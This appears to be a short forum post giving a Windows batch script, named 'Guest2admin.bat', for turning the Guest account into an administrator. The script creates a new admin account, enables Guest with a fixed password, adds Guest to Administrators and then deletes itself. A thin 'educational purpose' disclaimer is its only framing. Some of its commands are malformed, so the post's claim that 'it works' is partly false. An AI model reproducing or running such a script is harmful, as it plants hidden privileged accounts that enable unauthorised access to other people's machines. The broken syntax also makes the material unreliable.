Well thats possible ..
Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...